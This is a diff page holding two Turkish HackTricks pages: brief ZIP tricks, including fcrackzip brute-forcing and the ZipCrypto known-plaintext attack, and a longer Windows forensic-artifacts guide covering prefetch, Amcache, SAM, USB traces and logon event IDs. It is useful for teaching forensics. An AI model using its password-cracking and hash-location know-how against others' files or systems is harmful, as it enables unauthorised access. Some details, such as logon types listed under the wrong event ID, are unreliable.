# ZIP'ler için hileler
{{#include ../../../banners/hacktricks-training.md}}
**Komut satırı araçları**, **zip dosyalarını** yönetmek için, zip dosyalarını teşhis etmek, onarmak ve kırmak için gereklidir. İşte bazı anahtar yardımcı programlar:
- **`unzip`**: Bir zip dosyasının neden açılmadığını gösterir.
- **`zipdetails -v`**: Zip dosyası format alanlarının ayrıntılı analizini sunar.
- **`zipinfo`**: Bir zip dosyasının içeriğini çıkarmadan listeler.
- **`zip -F input.zip --out output.zip`** ve **`zip -FF input.zip --out output.zip`**: Bozulmuş zip dosyalarını onarmaya çalışır.
- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Zip şifrelerini brute-force ile kırmak için bir araç, yaklaşık 7 karaktere kadar olan şifreler için etkilidir.
[Zip dosyası format spesifikasyonu](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT), zip dosyalarının yapısı ve standartları hakkında kapsamlı bilgiler sunar.
Şunu belirtmek önemlidir ki, şifre korumalı zip dosyaları **içindeki dosya adlarını veya dosya boyutlarını şifrelemez**, bu, RAR veya 7z dosyalarıyla paylaşılmayan bir güvenlik açığıdır; bu dosyalar bu bilgileri şifreler. Ayrıca, daha eski ZipCrypto yöntemiyle şifrelenmiş zip dosyaları, sıkıştırılmış bir dosyanın şifrelenmemiş bir kopyası mevcutsa **düz metin saldırısına** karşı savunmasızdır. Bu saldırı, zip'in şifresini kırmak için bilinen içeriği kullanır; bu zayıflık [HackThis'in makalesinde](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) ve [bu akademik çalışmada](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf) detaylandırılmıştır. Ancak, **AES-256** şifrelemesiyle güvence altına alınmış zip dosyaları bu düz metin saldırısına karşı bağışıklık gösterir, bu da hassas veriler için güvenli şifreleme yöntemlerinin seçilmesinin önemini vurgular.
## Referanslar
- [https://michael-myers.github.io/blog/categories/ctf/](https://michael-myers.github.io/blog/categories/ctf/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,496 +0,0 @@
# Windows Artifacts
## Windows Artifacts
{{#include ../../../banners/hacktricks-training.md}}
## Genel Windows Artifaktları
### Windows 10 Bildirimleri
` \Users\<username>\AppData\Local\Microsoft\Windows\Notifications` yolunda `appdb.dat` (Windows yıldönümünden önce) veya `wpndatabase.db` (Windows Yıldönümünden sonra) veritabanını bulabilirsiniz.
Bu SQLite veritabanının içinde, ilginç veriler içerebilecek tüm bildirimlerin (XML formatında) bulunduğu `Notification` tablosunu bulabilirsiniz.
### Zaman Çizelgesi
Zaman çizelgesi, ziyaret edilen web sayfalarının, düzenlenen belgelerin ve çalıştırılan uygulamaların **kronolojik geçmişini** sağlayan bir Windows özelliğidir.
Veritabanı `\Users\<username>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db` yolunda bulunur. Bu veritabanı bir SQLite aracıyla veya [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) aracıyla açılabilir **ve bu araç 2 dosya oluşturur, bu dosyalar** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md) aracıyla açılabilir.
### ADS (Alternatif Veri Akışları)
İndirilen dosyalar, intranet, internet vb. üzerinden **nasıl** **indirildiğini** gösteren **ADS Zone.Identifier** içerebilir. Bazı yazılımlar (tarayıcılar gibi) genellikle dosyanın indirildiği **URL** gibi **daha fazla** **bilgi** de ekler.
## **Dosya Yedekleri**
### Geri Dönüşüm Kutusu
Vista/Win7/Win8/Win10'da **Geri Dönüşüm Kutusu**, sürücünün kökünde **`$Recycle.bin`** klasöründe bulunur (`C:\$Recycle.bin`).\
Bu klasörde bir dosya silindiğinde 2 özel dosya oluşturulur:
- `$I{id}`: Dosya bilgileri (silindiği tarih)
- `$R{id}`: Dosyanın içeriği
![](<../../../images/image (486).png>)
Bu dosyalara sahip olduğunuzda, silinen dosyaların orijinal adresini ve silindiği tarihi almak için [**Rifiuti**](https://github.com/abelcheung/rifiuti2) aracını kullanabilirsiniz (Vista Win10 için `rifiuti-vista.exe` kullanın).
```
.\rifiuti-vista.exe C:\Users\student\Desktop\Recycle
```
![](<../../../images/image (495) (1) (1) (1).png>)
### Hacim Gölgesi Kopyaları
Gölge Kopyası, Microsoft Windows'ta yer alan ve bilgisayar dosyalarının veya hacimlerinin **yedek kopyalarını** veya anlık görüntülerini oluşturabilen bir teknolojidir; bu, dosyalar kullanılırken bile mümkündür.
Bu yedekler genellikle dosya sisteminin kökünden `\System Volume Information` içinde bulunur ve isimleri aşağıdaki resimde gösterilen **UID'lerden** oluşur:
![](<../../../images/image (520).png>)
**ArsenalImageMounter** ile adli görüntüyü monte ederek, [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) aracı, bir gölge kopyasını incelemek ve hatta gölge kopyası yedeklerinden **dosyaları çıkarmak** için kullanılabilir.
![](<../../../images/image (521).png>)
Kayıt defteri girişi `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore`, **yedeklenmeyecek** dosyaları ve anahtarları içerir:
![](<../../../images/image (522).png>)
Kayıt defteri `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` ayrıca `Hacim Gölgesi Kopyaları` hakkında yapılandırma bilgilerini içerir.
### Ofis Otomatik Kaydedilen Dosyalar
Ofis otomatik kaydedilen dosyalarını şurada bulabilirsiniz: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
## Shell Öğeleri
Bir shell öğesi, başka bir dosyaya nasıl erişileceği hakkında bilgi içeren bir öğedir.
### Son Belgeler (LNK)
Windows, kullanıcı bir dosyayı **açtığında, kullandığında veya oluşturduğunda** bu **kısayolları** **otomatik olarak** **oluşturur**:
- Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\`
- Ofis: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\`
Bir klasör oluşturulduğunda, klasöre, üst klasöre ve büyük üst klasöre bir bağlantı da oluşturulur.
Bu otomatik olarak oluşturulan bağlantı dosyaları, **bir dosya** **mi** yoksa **bir klasör** **mü** olduğu gibi, **dosyanın MAC zamanları**, dosyanın saklandığı yerin **hacim bilgileri** ve **hedef dosyanın klasörü** hakkında bilgi **içerir**. Bu bilgiler, dosyalar silinirse kurtarmak için faydalı olabilir.
Ayrıca, bağlantı dosyasının **oluşturulma tarihi**, orijinal dosyanın **ilk** **kullanıldığı** **zamanı** ve bağlantı dosyasının **değiştirilme tarihi**, orijinal dosyanın en son **kullanıldığı** **zamanı** gösterir.
Bu dosyaları incelemek için [**LinkParser**](http://4discovery.com/our-tools/) kullanabilirsiniz.
Bu araçta **2 set** zaman damgası bulacaksınız:
- **İlk Set:**
1. FileModifiedDate
2. FileAccessDate
3. FileCreationDate
- **İkinci Set:**
1. LinkModifiedDate
2. LinkAccessDate
3. LinkCreationDate.
İlk zaman damgası seti, **dosyanın kendisine ait zaman damgalarını** referans alır. İkinci set, **bağlantılı dosyanın zaman damgalarını** referans alır.
Aynı bilgiyi Windows CLI aracı olan [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) ile de alabilirsiniz.
```
LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
```
Bu durumda, bilgiler bir CSV dosyası içinde kaydedilecektir.
### Jumplists
Bunlar, her uygulama için belirtilen son dosyalardır. Her uygulamada erişebileceğiniz **bir uygulama tarafından kullanılan son dosyaların** listesidir. **Otomatik olarak veya özel olarak** oluşturulabilirler.
Otomatik olarak oluşturulan **jumplists**, `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\` içinde saklanır. Jumplists, `{id}.autmaticDestinations-ms` formatına göre adlandırılır; burada başlangıç ID'si uygulamanın ID'sidir.
Özel jumplists, `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` içinde saklanır ve genellikle dosya ile ilgili **önemli** bir şey olduğunda uygulama tarafından oluşturulurlar (belki favori olarak işaretlenmiştir).
Herhangi bir jumplist'in **oluşturulma zamanı**, dosyanın **ilk kez erişildiği zamanı** ve **değiştirilme zamanı** son erişim zamanını gösterir.
Jumplists'i [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md) kullanarak inceleyebilirsiniz.
![](<../../../images/image (474).png>)
(_JumplistExplorer tarafından sağlanan zaman damgalarının jumplist dosyasının kendisiyle ilgili olduğunu unutmayın_)
### Shellbags
[**Shellbags nedir öğrenmek için bu bağlantıyı takip edin.**](interesting-windows-registry-keys.md#shellbags)
## Windows USB'lerinin Kullanımı
Bir USB cihazının kullanıldığını belirlemek mümkündür, bunun için:
- Windows Recent Klasörü
- Microsoft Office Recent Klasörü
- Jumplists
Bazı LNK dosyalarının orijinal yolu işaret etmek yerine WPDNSE klasörüne işaret ettiğini unutmayın:
![](<../../../images/image (476).png>)
WPDNSE klasöründeki dosyalar, orijinal dosyaların bir kopyasıdır, bu nedenle PC'nin yeniden başlatılmasında hayatta kalmazlar ve GUID bir shellbag'den alınır.
### Kayıt Bilgileri
[USB bağlı cihazlar hakkında ilginç bilgileri hangi kayıt anahtarlarının içerdiğini öğrenmek için bu sayfayı kontrol edin](interesting-windows-registry-keys.md#usb-information).
### setupapi
USB bağlantısının ne zaman gerçekleştiği hakkında zaman damgalarını almak için `C:\Windows\inf\setupapi.dev.log` dosyasını kontrol edin ( `Section start` için arama yapın).
![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>)
### USB Dedektifi
[**USBDetective**](https://usbdetective.com) bir görüntüye bağlı USB cihazları hakkında bilgi almak için kullanılabilir.
![](<../../../images/image (483).png>)
### Tak ve Çalıştır Temizleme
'Tak ve Çalıştır Temizleme' olarak bilinen planlı görev, esasen eski sürücü sürümlerinin kaldırılması için tasarlanmıştır. En son sürücü paket sürümünü koruma amacıyla belirtilmiş olmasına rağmen, çevrimiçi kaynaklar bunun 30 gün boyunca etkin olmayan sürücüleri de hedef aldığını önermektedir. Bu nedenle, son 30 günde bağlanmamış çıkarılabilir cihazların sürücüleri silinme riski altındadır.
Görev aşağıdaki yolda bulunmaktadır:
`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`.
Görevin içeriğini gösteren bir ekran görüntüsü sağlanmıştır:
![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png)
**Görevin Ana Bileşenleri ve Ayarları:**
- **pnpclean.dll**: Bu DLL, gerçek temizleme işlemini gerçekleştirir.
- **UseUnifiedSchedulingEngine**: `TRUE` olarak ayarlanmıştır, genel görev zamanlama motorunun kullanıldığını gösterir.
- **MaintenanceSettings**:
- **Period ('P1M')**: Görev Zamanlayıcı'nın, düzenli Otomatik bakım sırasında temizleme görevini aylık olarak başlatmasını yönlendirir.
- **Deadline ('P2M')**: Görev Zamanlayıcı'ya, görev iki ardışık ay boyunca başarısız olursa, acil Otomatik bakım sırasında görevi yürütmesini talimat verir.
Bu yapılandırma, sürücülerin düzenli bakımını ve temizliğini sağlar ve ardışık hatalar durumunda görevi yeniden denemek için önlemler içerir.
**Daha fazla bilgi için kontrol edin:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
## E-postalar
E-postalar **2 ilginç bölüm içerir: E-posta başlıkları ve içeriği**. **Başlıklarda** aşağıdaki gibi bilgiler bulabilirsiniz:
- **Kim** e-postaları gönderdi (e-posta adresi, IP, e-postayı yönlendiren mail sunucuları)
- **Ne zaman** e-posta gönderildi
Ayrıca, `References` ve `In-Reply-To` başlıkları içinde mesajların ID'sini bulabilirsiniz:
![](<../../../images/image (484).png>)
### Windows Mail Uygulaması
Bu uygulama, e-postaları HTML veya metin olarak kaydeder. E-postaları `\Users\<username>\AppData\Local\Comms\Unistore\data\3\` içindeki alt klasörlerde bulabilirsiniz. E-postalar `.dat` uzantısıyla kaydedilir.
E-postaların **meta verileri** ve **kişiler** **EDB veritabanı** içinde bulunabilir: `\Users\<username>\AppData\Local\Comms\UnistoreDB\store.vol`
**Uzantıyı** `.vol`'dan `.edb`'ye değiştirin ve [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) aracını kullanarak açabilirsiniz. `Message` tablosunda e-postaları görebilirsiniz.
### Microsoft Outlook
Exchange sunucuları veya Outlook istemcileri kullanıldığında bazı MAPI başlıkları olacaktır:
- `Mapi-Client-Submit-Time`: E-postanın gönderildiği zaman sistemin zamanı
- `Mapi-Conversation-Index`: İletişim dizisinin çocuk mesajlarının sayısı ve her mesajın zaman damgası
- `Mapi-Entry-ID`: Mesaj tanımlayıcısı.
- `Mappi-Message-Flags` ve `Pr_last_Verb-Executed`: MAPI istemcisi hakkında bilgi (mesaj okundu mu? okunmadı mı? yanıtlandı mı? yönlendirildi mi? ofis dışında mı?)
Microsoft Outlook istemcisinde, gönderilen/alınan tüm mesajlar, kişi verileri ve takvim verileri, aşağıdaki konumda bir PST dosyasında saklanır:
- `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP)
- `%USERPROFILE%\AppData\Local\Microsoft\Outlook`
Kayıt yolu `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook`, kullanılan dosyayı gösterir.
PST dosyasını [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html) aracıyla açabilirsiniz.
![](<../../../images/image (485).png>)
### Microsoft Outlook OST Dosyaları
Bir **OST dosyası**, Microsoft Outlook'un **IMAP** veya bir **Exchange** sunucusuyla yapılandırıldığında oluşturulur ve PST dosyasına benzer bilgileri saklar. Bu dosya, sunucu ile senkronize edilir, **son 12 ay** için verileri saklar ve **maksimum 50GB** boyutundadır ve PST dosyasıyla aynı dizinde bulunur. Bir OST dosyasını görüntülemek için [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html) kullanılabilir.
### Ekleri Kurtarma
Kaybolan ekler şunlardan kurtarılabilir:
- **IE10 için**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook`
- **IE11 ve üzeri için**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook`
### Thunderbird MBOX Dosyaları
**Thunderbird**, verileri saklamak için **MBOX dosyaları** kullanır ve bu dosyalar `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles` konumundadır.
### Görüntü Küçültmeleri
- **Windows XP ve 8-8.1**: Küçültme içeren bir klasöre erişmek, silinmiş olsa bile görüntü önizlemelerini saklayan bir `thumbs.db` dosyası oluşturur.
- **Windows 7/10**: `thumbs.db`, UNC yolu üzerinden erişildiğinde oluşturulur.
- **Windows Vista ve daha yeni**: Küçültme önizlemeleri, `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` içinde **thumbcache_xxx.db** adında dosyalarla merkezi olarak saklanır. [**Thumbsviewer**](https://thumbsviewer.github.io) ve [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) bu dosyaları görüntülemek için araçlardır.
### Windows Kayıt Bilgileri
Windows Kayıt Defteri, kapsamlı sistem ve kullanıcı etkinlik verilerini saklar ve aşağıdaki dosyalarda bulunur:
- Çeşitli `HKEY_LOCAL_MACHINE` alt anahtarları için `%windir%\System32\Config`.
- `HKEY_CURRENT_USER` için `%UserProfile%{User}\NTUSER.DAT`.
- Windows Vista ve sonraki sürümler, `HKEY_LOCAL_MACHINE` kayıt dosyalarını `%Windir%\System32\Config\RegBack\` içinde yedekler.
- Ayrıca, program yürütme bilgileri, Windows Vista ve Windows 2008 Server'dan itibaren `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` içinde saklanır.
### Araçlar
Kayıt dosyalarını analiz etmek için bazı araçlar faydalıdır:
- **Kayıt Defteri Düzenleyici**: Windows'ta yüklüdür. Mevcut oturumun Windows kayıt defterinde gezinmek için bir GUI'dir.
- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Kayıt dosyasını yüklemenizi ve GUI ile gezinmenizi sağlar. Ayrıca ilginç bilgiler içeren anahtarları vurgulayan Yer İmleri içerir.
- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Yine, yüklenen kayıt defterinde gezinmenizi sağlayan bir GUI'ye sahiptir ve ayrıca yüklenen kayıt defterinde ilginç bilgileri vurgulayan eklentiler içerir.
- [**Windows Kayıt Kurtarma**](https://www.mitec.cz/wrr.html): Yüklenen kayıt defterinden önemli bilgileri çıkarmak için başka bir GUI uygulamasıdır.
### Silinen Elemanı Kurtarma
Bir anahtar silindiğinde, böyle işaretlenir, ancak kapladığı alan gerektiğinde kaldırılmaz. Bu nedenle, **Registry Explorer** gibi araçlar kullanarak bu silinmiş anahtarları kurtarmak mümkündür.
### Son Yazma Zamanı
Her Anahtar-Değer, en son ne zaman değiştirildiğini gösteren bir **zaman damgası** içerir.
### SAM
**SAM** dosyası/hive, sistemin **kullanıcılar, gruplar ve kullanıcı parolası** hash'lerini içerir.
`SAM\Domains\Account\Users` içinde kullanıcı adını, RID'yi, son giriş zamanını, son başarısız oturumu, giriş sayacını, parola politikasını ve hesabın ne zaman oluşturulduğunu elde edebilirsiniz. **Hash'leri** almak için ayrıca **SYSTEM** dosyasına/hive'ye **ihtiyacınız vardır**.
### Windows Kayıt Defterindeki İlginç Girişler
{{#ref}}
interesting-windows-registry-keys.md
{{#endref}}
## Çalıştırılan Programlar
### Temel Windows Süreçleri
[Bu yazıda](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) şüpheli davranışları tespit etmek için yaygın Windows süreçleri hakkında bilgi edinebilirsiniz.
### Windows Son Uygulamaları
Kayıt defteri `NTUSER.DAT` içinde `Software\Microsoft\Current Version\Search\RecentApps` yolunda, **çalıştırılan uygulama**, **son çalıştırma zamanı** ve **kaç kez** başlatıldığı hakkında bilgi içeren alt anahtarlar bulabilirsiniz.
### BAM (Arka Plan Etkinlik Modaratörü)
`SYSTEM` dosyasını bir kayıt defteri düzenleyici ile açabilir ve `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` yolunda **her kullanıcı tarafından çalıştırılan uygulamalar** hakkında bilgi bulabilirsiniz (yoldaki `{SID}`'yi not edin) ve **ne zaman** çalıştırıldıklarını (zaman, kayıt defterinin Veri değerinin içinde) görebilirsiniz.
### Windows Prefetch
Önceden alma, bir bilgisayarın, bir kullanıcının **yakın gelecekte erişebileceği** içeriği görüntülemek için gerekli kaynakları sessizce **almayı** sağlamasına olanak tanıyan bir tekniktir, böylece kaynaklara daha hızlı erişilebilir.
Windows önceden alma, **çalıştırılan programların önbelleklerini** oluşturarak daha hızlı yüklenmelerini sağlar. Bu önbellekler, `C:\Windows\Prefetch` yolunda `.pf` dosyaları olarak oluşturulur. XP/VISTA/WIN7'de 128 dosya ve Win8/Win10'da 1024 dosya sınırı vardır.
Dosya adı `{program_name}-{hash}.pf` olarak oluşturulur (hash, yürütülebilir dosyanın yolu ve argümanlarına dayanır). W10'da bu dosyalar sıkıştırılmıştır. Dosyanın varlığı, **programın bir noktada çalıştırıldığını** gösterir.
`C:\Windows\Prefetch\Layout.ini` dosyası, **önceden alınan dosyaların klasörlerinin adlarını** içerir. Bu dosya, **çalıştırma sayısı**, **çalıştırma tarihleri** ve program tarafından **açılan dosyalar** hakkında **bilgi** içerir.
Bu dosyaları incelemek için [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd) aracını kullanabilirsiniz:
```bash
.\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder"
```
![](<../../../images/image (487).png>)
### Superprefetch
**Superprefetch**, prefetch ile aynı amaca sahiptir, **programları daha hızlı yüklemek** için neyin yükleneceğini tahmin eder. Ancak, prefetch hizmetinin yerini almaz.\
Bu hizmet, `C:\Windows\Prefetch\Ag*.db` konumunda veritabanı dosyaları oluşturur.
Bu veritabanlarında **programın adı**, **çalıştırma sayısı**, **açılan dosyalar**, **erişilen hacim**, **tam yol**, **zaman dilimleri** ve **zaman damgaları** bulunabilir.
Bu bilgilere [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/) aracı kullanarak erişebilirsiniz.
### SRUM
**Sistem Kaynak Kullanım İzleyici** (SRUM) **bir süreç tarafından tüketilen kaynakları** **izler**. W8'de ortaya çıkmıştır ve verileri `C:\Windows\System32\sru\SRUDB.dat` konumunda bir ESE veritabanında saklar.
Aşağıdaki bilgileri sağlar:
- AppID ve Yol
- Süreci çalıştıran kullanıcı
- Gönderilen Bayt
- Alınan Bayt
- Ağ Arayüzü
- Bağlantı süresi
- Süreç süresi
Bu bilgiler her 60 dakikada bir güncellenir.
Bu dosyadan tarihi [**srum_dump**](https://github.com/MarkBaggett/srum-dump) aracı kullanarak elde edebilirsiniz.
```bash
.\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum
```
### AppCompatCache (ShimCache)
**AppCompatCache**, ayrıca **ShimCache** olarak da bilinir, **Microsoft** tarafından uygulama uyumluluğu sorunlarını ele almak için geliştirilen **Uygulama Uyumluluk Veritabanı**nın bir parçasını oluşturur. Bu sistem bileşeni, aşağıdakiler de dahil olmak üzere çeşitli dosya meta verilerini kaydeder:
- Dosyanın tam yolu
- Dosyanın boyutu
- **$Standard_Information** (SI) altında Son Değiştirilme zamanı
- ShimCache'in Son Güncellenme zamanı
- İşlem Çalıştırma Bayrağı
Bu tür veriler, işletim sisteminin sürümüne bağlı olarak kayıt defterinde belirli konumlarda saklanır:
- XP için, veriler `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` altında 96 giriş kapasitesi ile saklanır.
- Server 2003 için, ayrıca Windows sürümleri 2008, 2012, 2016, 7, 8 ve 10 için, depolama yolu `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache` olup, sırasıyla 512 ve 1024 giriş kapasitesine sahiptir.
Saklanan bilgileri ayrıştırmak için, [**AppCompatCacheParser** tool](https://github.com/EricZimmerman/AppCompatCacheParser) kullanılması önerilir.
![](<../../../images/image (488).png>)
### Amcache
**Amcache.hve** dosyası, bir sistemde yürütülen uygulamalar hakkında ayrıntıları kaydeden temel bir kayıt defteri hivesidir. Genellikle `C:\Windows\AppCompat\Programas\Amcache.hve` konumunda bulunur.
Bu dosya, yürütülen süreçlerin kayıtlarını, yürütülebilir dosyaların yollarını ve SHA1 hash'lerini saklamasıyla dikkat çeker. Bu bilgi, bir sistemdeki uygulamaların etkinliğini izlemek için değerlidir.
**Amcache.hve** dosyasından veri çıkarmak ve analiz etmek için, [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) aracı kullanılabilir. Aşağıdaki komut, AmcacheParser'ı kullanarak **Amcache.hve** dosyasının içeriğini ayrıştırmak ve sonuçları CSV formatında çıkarmak için bir örnektir:
```bash
AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder
```
Üretilen CSV dosyaları arasında, `Amcache_Unassociated file entries` özellikle dikkat çekicidir çünkü ilişkilendirilmemiş dosya girişleri hakkında zengin bilgiler sunar.
Üretilen en ilginç CSV dosyası `Amcache_Unassociated file entries`dir.
### RecentFileCache
Bu artefakt yalnızca W7'de `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` içinde bulunabilir ve bazı ikili dosyaların son çalıştırılması hakkında bilgi içerir.
Dosyayı ayrıştırmak için [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) aracını kullanabilirsiniz.
### Planlı görevler
Bunları `C:\Windows\Tasks` veya `C:\Windows\System32\Tasks` içinden çıkarabilir ve XML olarak okuyabilirsiniz.
### Hizmetler
Bunları `SYSTEM\ControlSet001\Services` altında kayıt defterinde bulabilirsiniz. Ne zaman ve neyin çalıştırılacağını görebilirsiniz.
### **Windows Store**
Yüklenen uygulamalar `\ProgramData\Microsoft\Windows\AppRepository\` içinde bulunabilir. Bu depo, sistemdeki **her yüklü uygulama** ile ilgili bir **log** içerir ve bu log **`StateRepository-Machine.srd`** veritabanındadır.
Bu veritabanının Uygulama tablosunda "Application ID", "PackageNumber" ve "Display Name" sütunlarını bulmak mümkündür. Bu sütunlar, önceden yüklenmiş ve yüklenmiş uygulamalar hakkında bilgi içerir ve bazı uygulamaların kaldırılıp kaldırılmadığını bulmak mümkündür çünkü yüklü uygulamaların kimlikleri sıralı olmalıdır.
Ayrıca, kayıt defteri yolunda yüklü uygulamaları bulmak da mümkündür: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
Ve **kaldırılmış** **uygulamaları**: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` içinde bulabilirsiniz.
## Windows Olayları
Windows olayları içinde görünen bilgiler şunlardır:
- Ne oldu
- Zaman damgası (UTC + 0)
- İlgili kullanıcılar
- İlgili ana bilgisayarlar (ana bilgisayar adı, IP)
- Erişilen varlıklar (dosyalar, klasör, yazıcı, hizmetler)
Loglar, Windows Vista'dan önce `C:\Windows\System32\config` içinde ve Windows Vista'dan sonra `C:\Windows\System32\winevt\Logs` içinde bulunmaktadır. Windows Vista'dan önce, olay logları ikili formatta, sonrasında ise **XML formatında** ve **.evtx** uzantısını kullanarak kaydedilmiştir.
Olay dosyalarının yeri, SYSTEM kayıt defterinde **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** içinde bulunabilir.
Windows Olay Görüntüleyici (**`eventvwr.msc`**) veya [**Event Log Explorer**](https://eventlogxp.com) **veya** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)** gibi diğer araçlarla görselleştirilebilir.
## Windows Güvenlik Olay Kaydını Anlamak
Erişim olayları, `C:\Windows\System32\winevt\Security.evtx` konumundaki güvenlik yapılandırma dosyasında kaydedilir. Bu dosyanın boyutu ayarlanabilir ve kapasiteye ulaşıldığında, daha eski olaylar üzerine yazılır. Kaydedilen olaylar, kullanıcı girişleri ve çıkışları, kullanıcı eylemleri ve güvenlik ayarlarındaki değişiklikler ile dosya, klasör ve paylaşılan varlık erişimini içerir.
### Kullanıcı Kimlik Doğrulaması için Ana Olay Kimlikleri:
- **EventID 4624**: Kullanıcının başarılı bir şekilde kimlik doğruladığını gösterir.
- **EventID 4625**: Kimlik doğrulama hatasını belirtir.
- **EventIDs 4634/4647**: Kullanıcı çıkış olaylarını temsil eder.
- **EventID 4672**: Yönetici ayrıcalıklarıyla giriş yapıldığını belirtir.
#### EventID 4634/4647 içindeki alt türler:
- **Etkileşimli (2)**: Doğrudan kullanıcı girişi.
- **Ağ (3)**: Paylaşılan klasörlere erişim.
- **Toplu (4)**: Toplu işlemlerin yürütülmesi.
- **Hizmet (5)**: Hizmet başlatmaları.
- **Proxy (6)**: Proxy kimlik doğrulaması.
- **Kilidi Açma (7)**: Şifre ile ekranın kilidinin açılması.
- **Ağ Düz Metin (8)**: Düz metin şifre iletimi, genellikle IIS'den.
- **Yeni Kimlik Bilgileri (9)**: Erişim için farklı kimlik bilgileri kullanımı.
- **Uzaktan Etkileşimli (10)**: Uzaktan masaüstü veya terminal hizmetleri girişi.
- **Önbellek Etkileşimli (11)**: Alan denetleyicisi ile iletişim olmadan önbellekli kimlik bilgileri ile giriş.
- **Önbellek Uzaktan Etkileşimli (12)**: Önbellekli kimlik bilgileri ile uzaktan giriş.
- **Önbellekli Kilidi Açma (13)**: Önbellekli kimlik bilgileri ile kilidin açılması.
#### EventID 4625 için Durum ve Alt Durum Kodları:
- **0xC0000064**: Kullanıcı adı mevcut değil - Bir kullanıcı adı tahsis etme saldırısını gösterebilir.
- **0xC000006A**: Doğru kullanıcı adı ama yanlış şifre - Olası şifre tahmin etme veya kaba kuvvet denemesi.
- **0xC0000234**: Kullanıcı hesabı kilitlendi - Birden fazla başarısız girişle sonuçlanan bir kaba kuvvet saldırısını takip edebilir.
- **0xC0000072**: Hesap devre dışı bırakıldı - Devre dışı bırakılmış hesaplara yetkisiz erişim girişimleri.
- **0xC000006F**: İzin verilen zaman dışında oturum açma - Belirlenen giriş saatleri dışında erişim girişimlerini gösterir, yetkisiz erişim belirtisi olabilir.
- **0xC0000070**: İş istasyonu kısıtlamalarının ihlali - Yetkisiz bir yerden giriş yapma girişimi olabilir.
- **0xC0000193**: Hesap süresi dolmuş - Süresi dolmuş kullanıcı hesapları ile erişim girişimleri.
- **0xC0000071**: Süresi dolmuş şifre - Eski şifrelerle giriş girişimleri.
- **0xC0000133**: Zaman senkronizasyon sorunları - İstemci ve sunucu arasında büyük zaman farklılıkları, daha karmaşık saldırıların (pass-the-ticket gibi) göstergesi olabilir.
- **0xC0000224**: Zorunlu şifre değişikliği gereklidir - Sık zorunlu değişiklikler, hesap güvenliğini bozma girişimini gösterebilir.
- **0xC0000225**: Bir sistem hatasını gösterir, güvenlik sorunu değil.
- **0xC000015b**: Reddedilen oturum açma türü - Yetkisiz oturum açma türü ile erişim girişimi, örneğin bir kullanıcının bir hizmet oturumu açmaya çalışması.
#### EventID 4616:
- **Zaman Değişikliği**: Sistem zamanının değiştirilmesi, olayların zaman çizelgesini belirsizleştirebilir.
#### EventID 6005 ve 6006:
